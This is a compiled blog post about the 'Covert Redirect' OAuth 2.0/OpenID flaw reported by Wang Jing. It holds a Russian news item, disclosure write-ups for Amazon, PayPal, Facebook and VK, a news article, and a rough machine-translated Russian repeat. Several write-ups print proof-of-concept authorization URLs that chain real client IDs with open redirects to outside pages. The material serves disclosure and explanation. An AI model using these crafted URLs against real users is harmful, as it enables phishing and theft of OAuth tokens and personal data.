Сингапурский студент обнаружил серьезную уязвимость в OAuth и OpenID

OAuth и OpenID — очень популярные протоколы, которые совместно используются для авторизации и аутентификации. Приложение OAuth генерирует токены для клиентов, а OpenID предоставляет возможность децентрализованной аутентификации на сторонних сайтах, раскрывая персональные данные пользователей.


Студент Ван Цзин (Wang Jing) с факультета математики Наньянского технологического университета в Сингапуре нашел способ, как злоумышленник может перехватить персональные данные пользователей, перенаправив их на вредоносный сайт после авторизации. Речь идет об уязвимости типа скрытого редиректа (covert redirect), по аналогии с известной атакой open redirect.



covert_redirect1



В этом случае провайдер (Facebook, Google и проч.) видит, что информацию запрашивает нормальное приложение, но на самом деле пользователя скрыто направляют на другой сайт, заменив значение redirect_uri в URL.



covert_redirect2



Уязвимость затрагивает множество крупных сайтов, такие как Facebook, Google, Yahoo, LinkedIn, Microsoft, VK, Mail.Ru, PayPal, GitHub и другие. Все они выдают по запросу злоумышленника персональные данные пользователя. В случае Facebook это может быть имя, фамилия, почтовый адрес, возраст, место жительства, место работы и проч.




covert_redirect3



Кстати, open redirect входит в число 10 главных атак за 2013 год по версии OWASP.


Ван Цзин опубликовал видеоролик, в котором показывает способ эксплуатации уязвимости, на примере Facebook OAuth 2.0. По его словам, защититься от таких атак можно только с помощью «белого списка» сайтов для редиректа.


источник:
http://xakep.ru/62448/




 

 

Amazon Website Covert Redirect Web Security Bugs Based on Facebook – Attack Simulation

amazon_1

 

Amazon Website Covert Redirect Web Security Bugs Based on Facebook – Attack Simulation

“Amazon.com, Inc. (/ˈæməzɒn/ or /ˈæməzən/) is an American electronic commerce company with headquarters in Seattle, Washington. It is the largest Internet-based retailer in the United States. Amazon.com started as an online bookstore, but soon diversified, selling DVDs, Blu-rays, CDs, video downloads/streaming, MP3 downloads/streaming, software, video games, electronics, apparel, furniture, food, toys and jewelry. The company also produces consumer electronics—notably, Amazon Kindle e-book readers, Fire tablets, Fire TV and Fire Phone — and is a major provider of cloud computing services. Amazon also sells certain low-end products like USB cables under its inhouse brand AmazonBasics. Amazon has separate retail websites for United States, United Kingdom & Ireland, France, Canada, Germany, The Netherlands, Italy, Spain, Australia, Brazil, Japan, China, India and Mexico. Amazon also offers international shipping to certain other countries for some of its products. In 2011, it had professed an intention to launch its websites in Poland and Sweden.” (Wikipedia)

 

Discover:
Discover and Reporter:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)
http://www.tetraph.com/wangjing/

 

 

 

(1) Vulnerability Description:

Amazon online website has a computer security bug problem. Hackers can exploit it by Covert Redirect attacks. This allow them to get users’ sensitive information by attacks such as phishing.

 

The code programming flaw exists at “redirect.html?” page with “&location” parameter, e.g.

The vulnerability can be attacked without user login. Tests were performed on Safari 6.1.6 in Mac OS X 10.7.5, IE 8 in Windows 7, Chromium version 37.0.2062.120 in Ubuntu 12.04 (281580) (64-bit).



 

 

(2) Vulnerability Details:

When a user is redirected from Amazon to another site, Amazon will check parameters “&token”. If the redirected URL’s domain is OK, Amazon will allow the redirection.

However, if the URLs in a redirected domain have open URL redirection vulnerabilities themselves, a user could be redirected from Amazon to a vulnerable URL in that domain first and later be redirected from this vulnerable site to a malicious site. This is as if being redirected from Amazon directly.

One of the vulnerable domain is,
facebook.com

 

 

 

(3) Use one of webpages for the following tests. The webpage address is “http://inzeed.com/kaleidoscope“. Suppose that this webpage is malicious.

 

Vulnerable URL:

 

POC:

 

 

 

(4) Vulnerability Disclosure:

The vulnerability was reported to Amazon in the beginning of February 2014. Amazon has patch part of the vulnerability.

Paypal Online Website OAuth 2.0 Covert Redirect (OpenIDconnect) Web Security Bugs (Information Leakage & Open Redirect)

paypal_big-1

 

Paypal Online Website OAuth 2.0 Covert Redirect (OpenIDconnect) Web Security Bugs (Information Leakage & Open Redirect)




(1) Domain:
paypal.com

 

“PayPal is an American worldwide online payments system. Online money transfers serve as electronic alternatives to traditional paper methods like checks and money orders. PayPal is one of the world’s largest internet payment companies.The company operates as an acquirer, performing payment processing for online vendors, auction sites and other commercial users, for which it charges a fee. Established in 1998, PayPal (NASDAQ: PYPL) had its IPO in 2002, and became a wholly owned subsidiary of eBay later that year. In 2014, PayPal moved $228 billion in 26 currencies across more than 190 nations, generating a total revenue of $7.9 billion (44% of eBay’s total profits). The same year, eBay announced plans to spin-off PayPal into an independent company the following year.” (Wikipedia)

 

 

 

 

(2) Vulnerability Description:

Paypal web application has a computer security problem. Hacker can exploit it by Covert Redirect cyber attacks. 



The vulnerabilities can be attacked without user login. Tests were performed on Microsoft IE (10.0.9200.16750) of Windows 8, Mozilla Firefox (34.0) & Google Chromium 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-bit) of Ubuntu (14.04),Apple Safari 6.1.6 of Mac OS X Lion 10.7. 

 
 

 

 

(2.1) Vulnerability Detail:

PayPal’s OAuth 2.0 system is susceptible to Attacks. More specifically, the authentication of parameter “&redirct_uri” in OAuth 2.0 system is insufficient. It can be misused to design Open Redirect Attacks to PayPal.

 

 

At the same time, it can be used to collect sensitive information of both third-party app and users by using the following parameters,

“&response_type”=code,token…

“&scope”=email,user_birthday,user_likes…

 

 

It increases the likelihood of successful Open Redirect Attacks to third-party websites, too.

 
 
 
 

 

Before acceptance of third-party application:

When a logged-in PayPal user clicks the URL ([1]) above, he/she will be asked for consent as in whether to allow a third-party website to receive his/her information. If the user clicks OK, he/she will be then redirected to the URL assigned to the parameter “&redirect_uri”.

 

If a user has not logged onto PayPal and clicks the URL ([1]) above, the same situation will happen upon login.

 
 

 

After acceptance of third-party application:

A logged-in PayPal user would no longer be asked for consent and could be redirected to a webpage controlled by the attacker when he/she clicks the URL ([1]).

 

For a user who has not logged in, the attack could still be completed after a pop-up page that prompts him/her to log in.

 
 
 

 

 

(2.1.1) PayPal would normally allow all the URLs that belong to the domain of an authorized third-party website. However, these URLs could be prone to manipulation. For example, the “&redirect_uri” parameter in the URLs is supposed to be set by the third-party websites, but an attacker could change its value to make Attacks. 

 

 

Hence, a user could be redirected from PayPal to a vulnerable URL in that domain first and later be redirected from this vulnerable site to a malicious site unwillingly. This is as if the user is redirected from PayPal directly. The number of PayPal’s OAuth 2.0 client websites is so huge that such Attacks could be commonplace.

 

 

Before acceptance of the third-party application, PayPal’s OAuth 2.0 system makes the redirects appear more trustworthy and could potentially increase the likelihood of successful Open Redirect Attacks of third-party website.

 

 

Once the user accepts the application, the attackers could completely bypass PayPal’s authentication system and attack more easily.

 

 

It might be of PayPal’s interest to patch up against such attacks. 

 
 
 

 

 

 

(2.2) Used one of webpages for the following tests. The webpage is “http://essayjeanslike.lofter.com/“. Can suppose it is malicious and contains code that collect sensitive information of both third-party app and users.

 

 

Below is an example of a vulnerable third-party domain:
constantcontact.com

 
 
 
 
 



POC Video:
https://www.youtube.com/watch?v=TVtLA1YzIBs


Blog Detail:
http://tetraph.blogspot.com/2014/05/paypal-oauth-20-openidconnect-covert.html





(3) What is Covert Redirect? 

Covert Redirect is a class of security bugs disclosed in May 2014. It is an application that takes a parameter and redirects a user to the parameter value without sufficient validation. This often makes use of Open Redirect and XSS (Cross-site Scripting) vulnerabilities in third-party applications.

 

 

Covert Redirect is also related to single sign-on. It is known by its influence on OAuth and OpenID. Hacker may use it to steal users’ sensitive information. Almost all OAuth 2.0 and OpenID providers worldwide are affected. Covert Redirect can work together with CSRF (Cross-site Request Forgery) as well. After Covert Redirect was published, it is kept in some common databases such as SCIP, OSVDB, Bugtraq, and X-Force. Its scipID is 13185, while OSVDB reference number is 106567. Bugtraq ID: 67196.  X-Force reference number is 93031.

 
 
 
 



 

Discover and Reporter:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. 
(@justqdjing)
http://tetraph.com/wangjing/









Related Articles:
http://tetraph.com/security/covert-redirect/paypal-oauth-2-0-openidconnect-covert-redirect-vulnerability/
http://ithut.tumblr.com/post/119493112323/securitypost-sicherheitslucke-in-oauth-2-0-und
https://twitter.com/tetraphibious/status/559164333721001984
http://www.inzeed.com/kaleidoscope/covert-redirect/paypal-oauth-2-0-openidconnect-covert-redirect-vulnerability/
http://computerobsess.blogspot.sg/2014/05/paypal-bug.html
https://hackertopic.wordpress.com/2014/05/01/paypal-covert-redirect/
http://ittechnology.lofter.com/post/1cfbf60d_72e61e0
http://securityrelated.blogspot.com/2014/05/paypal-bug.html
http://blog.163.com/tetraph/blog/static/23460305120144612635422
https://webtechwire.wordpress.com/2014/05/02/paypal-covert-redirect/

 

 

Facebook, Google Users Threatened by New Security Flaw, Covert Redirect

images18

 

A serious flaw in two widely used security standards could give anyone access to your account information at Google, Microsoft, Facebook, Twitter and many other online services. The flaw, dubbed “Covert Redirect” by its discoverer, exists in two open-source session-authorization protocols, OAuth 2.0 and OpenID.

 

Both standards are employed across the Internet to let users log into websites using their credentials from other sites, such as by logging into a Web forum using a Facebook or Twitter username and password instead of creating a new account just for that forum.

 

Attackers could exploit the flaw to disguise and launch phishing attempts from legitimate websites, said the flaw’s finder, Mathematics Ph.D. student Wang Jing of the Nanyang Technological University in Singapore.

 

Wang believes it’s unlikely that this flaw will be patched any time soon. He says neither the authentication companies (those with which users have an account, such as Google, Microsoft, Facebook, Twitter or LinkedIn, among others) nor the client companies (sites or apps whose users log in via an account from an authentication company) are taking responsibility for fixing the issue.

 

“The vulnerability is usually due to the existing weakness in the third-party websites,” Wang writes on his own blog. “However, they have little incentive to fix the problem.”

 

The biggest danger of Covert Redirect is that it could be used to conduct phishing attacks, in which cybercriminals seize login credentials, by using email messages containing links to malicious websites disguised as something their targets might want to visit.

 

Normal phishing attempts can be easy to spot, because the malicious page’s URL will usually be off by a couple of letters from that of the real site. The difference with Covert Redirect is that an attacker could use the real website instead by corrupting the site with a malicious login popup dialogue box.

 

For example, say you regularly visit a given forum (the client company), to which you log in using your credentials from Facebook (the authentication company). Facebook uses OAuth 2.0 to authenticate logins, so an attacker could put a corrupted Facebook login popup box on this forum.

 

If you sign in using that popup box, your Facebook data will be released to the attacker, not to the forum. This means the attacker could possibly gain access to your Facebook account, which he or she could use to spread more socially engineered attacks to your Facebook friends.

 

Covert Redirect could also be used in redirection attacks, which is when a link takes you to a different page than the one expected.

 

Wang told CNET authentication companies should create whitelists — pre-approved lists that block any not on it — of the client companies that are allowed to use OAuth and OpenID to redirect to them. But he said he had contacted a number of these authentication companies, who all shifted blame elsewhere.

 

Wang told CNET Facebook had told him it “understood the risks associated with OAuth 2.0” but that fixing the flaw would be “something that can’t be accomplished in the short term.” Google and LinkedIn allegedly told Wang they were looking into the issue, while Microsoft said the issue did not exist on its own sites.

 

Covert Redirect appears to exist in the implementations of the OpenID and OAuth standards used on client websites and apps. But because these two standards are open-source and were developed by a group of volunteers, there’s no company or dedicated team that could devote itself to fixing the issue.

 

 

Where does that leave things?

“Given the trust users put in Facebook and other major OAuth providers, I think it will be easy for attackers to trick people into giving some access to their personal information stored on those service,” Chris Wysopal, chief technology officer of Boston-area security firm Veracode and a member of the legendary 1990s hackerspace the L0pht, told CNET.

 

“It’s not easy to fix, and any effective remedies would negatively impact the user experience,” Jeremiah Grossman, founder of Santa Clara, Calif.-based WhiteHat Security, told CNET. “Just another example that Web security is fundamentally broken and the powers that be have little incentive to address the inherent flaws.”

 

Users should be extra-wary of login popups on Web pages. If you wish to log into a given website, it might be better to use an account specific to that website instead of logging in with Facebook, Twitter, or another authentication company, which would require the use of OAuth and/or OpenID to do.

 

If you think someone has gained access to one of your online accounts, notify the service and change that account’s password immediately.

 

 

 

 

 

Related Articles:

http://www.tomsguide.com/us/facebook-google-covert-redirect-flaw,news-18726.html

http://www.scmagazine.com/covert-redirect-vulnerability-impacts-oauth-20-openid/article/345407/

http://news.yahoo.com/facebook-google-users-threatened-security-192547549.html

http://thehackernews.com/2014/05/nasty-covert-redirect-vulnerability.html

http://www.foxnews.com/tech/2014/05/05/facebook-google-users-threatened-by-new-security-flaw/

http://whitehatview.tumblr.com/post/120695795041

http://russiapost.blogspot.ru/2015/05/openid-oauth-20.html

http://www.diebiyi.com/articles/security/covert-redirect/covert_redirect/

https://itswift.wordpress.com/2014/05/06/microsoft-google-facebook-attacked/

http://tetraph.blog.163.com/blog/static/2346030512015420103814617/

http://itsecurity.lofter.com/post/1cfbf9e7_72e2dbe

http://ithut.tumblr.com/post/119493304233/securitypost-une-faille-dans-lintegration

http://japanbroad.blogspot.jp/2015/05/oauthopenid-facebook.html

http://webtech.lofter.com/post/1cd3e0d3_6f0f291

https://webtechwire.wordpress.com/2014/05/11/covert-redirect-attack-worldwide/

http://whitehatview.tumblr.com/post/119489968576/securitypost-sicherheitslucke-in-oauth-2-0-und

http://www.inzeed.com/kaleidoscope/computer-security/facebook-google-attack/

 

 

 

 

 

Facebook OAuth 2.0 Service Covert Redirect Web Security Bugs Based on Ask.com (Information Leakage & Open Redirect)

facebook-jpg

 

 

Facebook OAuth 2.0 Service Covert Redirect Web Security Bugs Based on Ask.com (Information Leakage & Open Redirect)



(1) Domain:
facebook.com

 

“Facebook had over 1.44 billion monthly active users as of March 2015. Because of the large volume of data users submit to the service, Facebook has come under scrutiny for their privacy policies. Facebook, Inc. held its initial public offering in February 2012 and began selling stock to the public three months later, reaching an original peak market capitalization of $104 billion. As of February 2015 Facebook reached a market capitalization of $212 Billion.” (Wikipedia)

 

 

 

(2) Vulnerability Description:

Facebook web application has a computer security problem. Hacker can exploit it by Covert Redirect cyber attacks.



The vulnerabilities can be attacked without user login. Tests were performed on Microsoft IE (10.0.9200.16750) of Windows 8, Mozilla Firefox (34.0) & Google Chromium 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-bit) of Ubuntu (14.04),Apple Safari 6.1.6 of Mac OS X Lion 10.7.

 


(2.1) Vulnerability Description:

Facebook’s SSO system is susceptible to Attacks. More specifically, the authentication of parameter “&redirct_uri” in SSO system is insufficient. It can be misused to design Open Redirect Attacks to Facebook.At the same time, it can be used to collect sensitive information of both third-party app and users by using the following parameters,

“&response_type”=sensitive_info,token…

“&scope”=email,user_birthday,user_likes.­..

 

 

It increases the likelihood of successful Open Redirect Attacks to third-party websites, too.

 

The vulnerabilities occurs at page “/dialog/oauth?” with parameter “&redirect_uri”, e.g.
https://www.facebook.com/dialog/oauth?client_id=152973104736490&redirect_uri=http%3A%2F%2Fwzus.ask.com%2Fr%3Ft%3Dp%26u%3Dhttp%3A%2F%2Fwww.tetraph.com%2Fessayjeans%2Fpoems%2Fdistance.html%3F&response_type=code&scope=email%2cuser_location%2cuser_birthday&display=popup [1]

 

 

Before acceptance of third-party application:

 

When a logged-in Facebook user clicks the URL ([1]) above, he/she will be asked for consent as in whether to allow a third-party website to receive his/her information. If the user clicks OK, he/she will be then redirected to the URL assigned to the parameter “&redirect_uri”.

 

If a user has not logged onto Facebook and clicks the URL ([1]) above, the same situation will happen upon login.

 

After acceptance of third-party application:

 

A logged-in Facebook user would no longer be asked for consent and could be redirected to a webpage controlled by the attacker when he/she clicks the URL ([1]).

 

For a user who has not logged in, the attack could still be completed after a pop-up page that prompts him/her to log in.

 

 

 

 

(2.1.1) Facebook would normally allow all the URLs that belong to the domain of an authorized third-party website. However, these URLs could be prone to manipulation. For example, the “&redirect_uri” parameter in the URLs is supposed to be set by the third-party websites, but an attacker could change its value to make Attacks.

 

Hence, a user could be redirected from Facebook to a vulnerable URL in that domain first and later be redirected from this vulnerable site to a malicious site unwillingly. This is as if the user is redirected from Facebook directly. The number of Facebook’s SSO client websites is so huge that such Attacks could be commonplace.

 

Before acceptance of the third-party application, Facebook’s SSO system makes the redirects appear more trustworthy and could potentially increase the likelihood of successful Open Redirect Attacks of third-party website.

 

Once the user accepts the application, the attackers could completely bypass Facebook’s authentication system and attack more easily.

 

It might be of Facebook’s interest to patch up against such attacks.

 

 

 

 

(2.2) Used one of webpages for the following tests. The webpage is “http://www.diebiyi.com/articles“. We can suppose it is malicious and contains code that collect sensitive information of both third-party app and users.

 

Below is an example of a vulnerable third-party domain:
ask.com

 

 

Vulnerable URL in this domain:
http://wzap.ask.com/r?t=v&d=im&u=http%3A%2F%2Ftetraph.com

 

Vulnerable URL from Facebook that is related to ask.com:
https://www.facebook.com/dialog/oauth?client_id=152973104736490&redirect_uri=https%3a%2f%2fsocial.ask.com%2fGS%2fGSLogin.aspx%3fst%3dzNQz0TjIZd42P_zI5MUVw5WtCHw7EDMc1YEjBVuz3bU.&response_type=code&scope=email%2cuser_location%2cuser_birthday&display=popup

 

POC:
https://www.facebook.com/dialog/oauth?client_id=152973104736490&redirect_uri=http%3A%2F%2Fwzus.ask.com%2Fr%3Ft%3Dp%26u%3Dhttp%3A%2F%2Fwww.tetraph.com%2Fessayjeans%2Fpoems%2Fdistance.html%3F&response_type=code&scope=email%2cuser_location%2cuser_birthday&display=popup

 

 

 

 

(2.3) The following URLs have the same vulnerabilities.
https://m.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fm.espn.go.com%2Fwireless%2Fconnect&scope=email%2Cuser_birthday%2Cuser_likes&client_id=116656161708917

https://graph.facebook.com/oauth/authorize?client_id=116656161708917&redirect_uri=http://m.espn.go.com/wireless/connect&display=touch&scope=email,user_birthday,user_likes

http://www.facebook.com/dialog/feed?app_id=180444840287&link=http://www.theguardian.com/money/2007/apr/21/creditcards.debt&display=popup&redirect_uri=http://gu-social-share-experiments.theguardian.com&show_error=false&ref=desktop

https://api.instagram.com/oauth/authorize/?client_id=28ad60e4d0b14b5c8bd87099e53feaef&redirect_uri=http%3A%2F%2Ffollowgram.me%2Flogin&response_type=code&scope=likes+comments+relationships&display=touch

 

 


POC Video:
https://www.youtube.com/watch?v=Y2-2Scp0pbs



 

Blog Detail:
http://www.tetraph.com/blog/covert-redirect/facebook-oauth-2-0-covert-redirect-vulnerability-based-on-ask-com-information-leakage-and-url-redirect/




 

(3) What is Covert Redirect?

Covert Redirect is a class of security bugs disclosed in May 2014. It is an application that takes a parameter and redirects a user to the parameter value without sufficient validation. This often makes use of Open Redirect and XSS (Cross-site Scripting) vulnerabilities in third-party applications.

Covert Redirect is also related to single sign-on. It is known by its influence on OAuth and OpenID. Hacker may use it to steal users’ sensitive information. Almost all OAuth 2.0 and OpenID providers worldwide are affected. Covert Redirect can work together with CSRF (Cross-site Request Forgery) as well.



Discover and Reporter:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore.
(@justqdjing)
http://tetraph.com/wangjing/










Related Articles:
http://tetraph.com/security/covert-redirect/facebook-oauth-2-0-covert-redirect-vulnerability-based-on-ask-com-information-leakage-and-url-redirect/
https://twitter.com/tetraphibious/status/559169008889389056
http://tetraph.blogspot.com/2014/05/hack-facebook-account-based-on-oauth-20.html
http://tetraph.blog.163.com/blog/static/23460305120144210374933/
http://computerobsess.blogspot.com/2014/09/facebook-bug.html
http://webcabinet.tumblr.com/post/120699361942/whitehatview-internet-users-threatened-by-new
http://webtech.lofter.com/post/1cd3e0d3_72e61df
http://www.inzeed.com/kaleidoscope/covert-redirect/facebook-oauth-2-0-covert-redirect-vulnerability-based-on-ask-com-information-leakage-and-url-redirect/

VK.com OAuth 2.0 Service Covert Redirect Web Security Bugs (Information Leakage & Open Redirect)

Screenshot from 2015-06-27 14:36:59

 

VK.com OAuth 2.0 Service Covert Redirect Web Security Bugs (Information Leakage & Open Redirect)

 




(1) Domain:
vk.com

 

“VK (originally VKontakte, Russian: ВКонтакте, literally “in touch”) is the largest Russian social network in Europe. It is available in several languages, but is especially popular among Russian-speaking users, particularly in Russia, Ukraine, Belarus, Kazakhstan and Uzbekistan. Like other social networks, VK allows users to message each other publicly or privately, to create groups, public pages and events, share and tag images, audio and video, and to play browser-based games. As of November 2014, VK had at least 280 million accounts. VK is ranked 22 (as of November 1, 2014) in Alexa’s global Top 500 sites and is the second most visited website in Russia, after Yandex. According to eBizMBA Rank, it is the 8th most popular social networking site in the world. As of January 2015, VK had an average of 70 million daily users.” (Wikipedia)

 

 

 

 

(2) Vulnerability Description:

VK.com web application has a computer security problem. Hacker can exploit it by Covert Redirect cyber attacks.



The vulnerabilities can be attacked without user login. Tests were performed on Microsoft IE (10.0.9200.16750) of Windows 8, Mozilla Firefox (34.0) & Google Chromium 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-bit) of Ubuntu (14.04),Apple Safari 6.1.6 of Mac OS X Lion 10.7.

 

 

 

(2.1) Vulnerability Detail:

VK’s OAuth system is susceptible to Attacks. More specifically, the authentication of parameter “&redirct_uri” in OAuth system is insufficient. It can be misused to design Open Redirect Attacks to VK.

 

At the same time, it can be used to collect sensitive information of both third-party app and users by using the following parameters (sensitive information is contained in HTTP header.),

“&response_type”=code,token…

“&scope”=basic information…

 

 

It increases the likelihood of successful Open Redirect Attacks to third-party websites, too.

 

The vulnerabilities occurs at page “/authorize?” with parameter “&redirect_uri”, e.g.

http://oauth.vk.com/authorize?response_type=code&scope=12&client_id=2852163&redirect_uri=http%3A%2F%2Fmy.kp.ru%2Flogin.do%3FreturnUrl%3Dhttp%253A%252F%252Fwww.tetraph.com%252Fessayjeans%252Fpoems%252Ffish_water.html [1]

 

 

Before acceptance of third-party application:

 

When a logged-in VK user clicks the URL ([1]) above, he/she will be asked for consent as in whether to allow a third-party website to receive his/her information. If the user clicks OK, he/she will be then redirected to the URL assigned to the parameter “&redirect_uri”.

 

If a user has not logged onto VK and clicks the URL ([1]) above, the same situation will happen upon login.

 

After acceptance of third-party application:

 

A logged-in VK user would no longer be asked for consent and could be redirected to a webpage controlled by the attacker when he/she clicks the URL ([1]).

 

For a user who has not logged in, the attack could still be completed after a pop-up page that prompts him/her to log in.

 

 

 

(2.1.1) VK would normally allow all the URLs that belong to the domain of an authorized third-party website. However, these URLs could be prone to manipulation. For example, the “&redirect_uri” parameter in the URLs is supposed to be set by the third-party websites, but an attacker could change its value to make Attacks.

 

Hence, a user could be redirected from VK to a vulnerable URL in that domain first and later be redirected from this vulnerable site to a malicious site unwillingly. This is as if the user is redirected from VK directly. The number of VK’s OAuth client websites is so huge that such Attacks could be commonplace.

 

Before acceptance of the third-party application, VK’s OAuth system makes the redirects appear more trustworthy and could potentially increase the likelihood of successful Open Redirect Attacks of third-party website.

 

Once the user accepts the application, the attackers could completely bypass VK’s authentication system and attack more easily.

 

 

 

(2.2) Used one of webpages for the following tests. The webpage is “http://diebiyi.com/articles/“. Can suppose it is malicious and contains code that collect sensitive information of both third-party app and users.

 

Below is an example of a vulnerable third-party domain:
kp.ru

 

Vulnerable URL in this domain:
http://my.kp.ru/login.do?returnUrl=http%3A%2F%2Fwww.tetraph.com%2Fessayjeans%2Fpoems%2Ffish_water.html

 

Vulnerable URL from VK that is related to kp.ru:
http://oauth.vk.com/authorize?response_type=code&scope=12&client_id=2852163&redirect_uri=http%3A%2F%2Fmy.kp.ru%2Flogin%2Fvkontakte.do%3FreturnUrl%3Dhttp%253A%252F%252Fwww.kp.ru%252F

http://api.vk.com/oauth/authorize?client_id=2852163&redirect_uri=http://my.kp.ru/login.do?returnUrl=http%3A%2F%2Fwww.kp.ru&display=page&scope=wall,offline

 

POC:
http://oauth.vk.com/authorize?response_type=code&scope=12&client_id=2852163&redirect_uri=http%3A%2F%2Fmy.kp.ru%2Flogin.do%3FreturnUrl%3Dhttp%253A%252F%252Fwww.tetraph.com%252Fessayjeans%252Fpoems%252Ffish_water.html

http://api.vk.com/oauth/authorize?client_id=2852163&redirect_uri=http://my.kp.ru/login.do?returnUrl=http%3A%2F%2Fwww.tetraph.com%2Fessayjeans%2Fpoems%2Ffish_water.html&display=page&scope=wall,offline

 

 

 

POC Video:
https://www.youtube.com/watch?v=3gNhi8h2AQY

 

Blog Detail:
http://www.tetraph.com/blog/covert-redirect/vk-com-oauth-2-0-covert-redirect-vulnerability/



 

(3) What is Covert Redirect?

Covert Redirect is a class of security bugs disclosed in May 2014. It is an application that takes a parameter and redirects a user to the parameter value without sufficient validation. This often makes use of Open Redirect and XSS (Cross-site Scripting) vulnerabilities in third-party applications.

 

Covert Redirect is also related to single sign-on, such as OAuth and OpenID. Hacker may use it to steal users’ sensitive information. Almost all OAuth 2.0 and OpenID providers worldwide are affected. Covert Redirect can work together with CSRF (Cross-site Request Forgery) as well.



Discover and Reporter:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)
http://tetraph.com/wangjing/




 

 

More Details:
http://tetraph.com/security/covert-redirect/vk-com-oauth-2-0-covert-redirect-vulnerability/
https://itswift.wordpress.com/2014/05/02/vk-exploit/
http://tetraph.blogspot.com/2014/05/vkcom-oauth-20-covert-redirect.html
https://twitter.com/tetraphibious/status/559166795525799936
http://frenchairing.blogspot.fr/2014/05/vk-exploit.html
http://whitehatview.tumblr.com/post/119487379761/securitypost
http://webtech.lofter.com/post/1cd3e0d3_706aec6
http://tetraph.blog.163.com/blog/static/234603051201445111630165/
http://www.inzeed.com/kaleidoscope/covert-redirect/vk-com-oauth-2-0-covert-redirect-vulnerability/
https://itinfotechnology.wordpress.com/2014/05/07/vk-bug/
http://russiapost.blogspot.ru/2014/05/vk-exploit.html

 

 

 

=================

 

 

 

 

ВКонтакте OAuth 2.0 Ошибки служба Скрытое перенаправление веб-безопасности (утечка информации и открытого редирект)

 

 

 

(1) Домен:
vk.com

 

“«ВКонта́кте» (vk.com) — социальная сеть, принадлежащая Mail.Ru Group. По данным SimilarWeb, «ВКонтакте» является первым по популярности сайтом в России и на Украине, 6-м — в мире. По данным Alexa Internet, второй по популярности сайт в России и на Украине, третий — в Белоруссии, 24-й — в мире. Проект запущен 10 октября 2006 года. Ресурс изначально позиционировал себя в качестве социальной сети студентов и выпускников российских вузов, позднее стал называть себя «современным, быстрым и эстетичным способом общения в сети». В январе 2014 года ежедневная аудитория «ВКонтакте» составляла около 60 миллионов человек, а в январе 2015 года — 70 миллионов человек в день. Генеральный директор (с 2014 года) — Борис Добродеев, сын Олега Добродеева — генерального директора Всероссийской государственной телевизионной и радиовещательной компании.”. (ru.wikipedia)

 

 

 

(2) Уязвимость Описание:

 

Веб-приложение ВКонтакте имеет проблемы компьютерной безопасности. Хакер может использовать его Скрытое перенаправление кибератак.

 

Уязвимости могут быть атакованы без входа пользователя в систему. Испытания проводились на Microsoft IE (10.0.9200.16750) в Windows 8, Mozilla Firefox (34,0) и Google Хром 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-бит) Ubuntu (14.04), Apple Safari 6.1.6 от Mac OS X Lion 10.7.

 

 

 

(2.1) Уязвимость деталь:

Система OAuth ВКонтакте подвержен атакам. Более конкретно, аутентификация параметра “& redirct_uri” в системе OAuth является недостаточным. Это может быть неправильно для разработки открытым перенаправление атак на VK.

 

В то же время, он может быть использован, чтобы собирать конфиденциальную информацию как стороннего приложения и пользователей, используя следующие параметры (секретная информация, содержащаяся в заголовке HTTP.),

“& Response_type” = код маркера …

“& Область” = базовая информация …

 

Это увеличивает вероятность успешных атак Открыть перенаправление на сторонних веб-сайтах, тоже.

 

Уязвимости происходит на странице “/ разрешить?” с параметром “& redirect_uri”, например
http://oauth.vk.com/authorize?response_type=code&scope=12&client_id=2852163&redirect_uri=http%3A%2F%2Fmy.kp.ru%2Flogin.do%3FreturnUrl%3Dhttp%253A%252F%252Fwww.tetraph.com%252Fessayjeans%252Fpoems%252Ffish_water.html [1]

 

 

 

До принятия сторонних применения:

 

Когда вошедшего в систему пользователя ВКонтакте нажимает URL ([1]) выше, то он / она будет предложено согласия, в том, чтобы позволить сторонних веб-сайт для получения его / ее информацию. Если пользователь нажимает кнопку ОК, он / она будет затем перенаправляется на URL, назначенного параметра “& redirect_uri».

 

Если пользователь не вошел на VK и нажимает URL ([1]) выше, такая же ситуация произойдет при входе.

 

После принятия стороннем приложении:

 

не вошедшего в систему пользователя ВКонтакте больше не будет предложено для согласия и может быть перенаправлен на веб-страницу, контролируемой злоумышленником, когда он / она нажимает URL ([1]).

 

Для пользователя, который не авторизованы атака еще может быть завершена после всплывающая страница, что побуждает его / ее войти.

 

 

 

(2.1.1) ВК, как правило, позволяют все адреса, которые принадлежат к сфере уполномоченным сторонних веб-сайт. Тем не менее, эти URL-адреса могут быть склонны к манипуляциям. Например, параметр “& redirect_uri” в URL, как предполагается, будет установлен сторонних веб-сайтах, но злоумышленник может изменить его значение, чтобы атак.

 

Следовательно, пользователь может быть перенаправлен от VK с уязвимой URL в этой области первым, а затем будет перенаправлен из этого уязвимого сайта на вредоносный сайт неохотно. Это как если бы пользователь перенаправляется от VK напрямую. Количество OAuth клиентских сайтов В.К. настолько огромен, что такие атаки могут быть обычным явлением.

 

До принятия стороннего приложения, система OAuth ВКонтакте делает редирект кажутся более надежными и потенциально может увеличить вероятность успешных атак Открыть перенаправление сторонних веб-сайта.

 

После того, как пользователь принимает заявки, нападавшие могли полностью обойти систему аутентификации ВКонтакте и нападение легче.

 

 

 

 

(2.2) Используется один из веб-страниц для следующих испытаний. Веб-страница “http://diebiyi.com/articles/“. Можно предположить, что это злая и содержит код, который собирают конфиденциальную информацию как сторонних приложений и пользователей.

 

Ниже пример уязвимой области стороннего:
kp.ru

 

 

Уязвимые URL в этой области:
http://my.kp.ru/login.do?returnUrl=http%3A%2F%2Fwww.tetraph.com%2Fessayjeans%2Fpoems%2Ffish_water.html

 

 

Уязвимые URL из ВК, что это связано с kp.ru:
http://oauth.vk.com/authorize?response_type=code&scope=12&client_id=2852163&redirect_uri=http%3A%2F%2Fmy.kp.ru%2Flogin%2Fvkontakte.do%3FreturnUrl%3Dhttp%253A%252F%252Fwww.kp.ru%252F

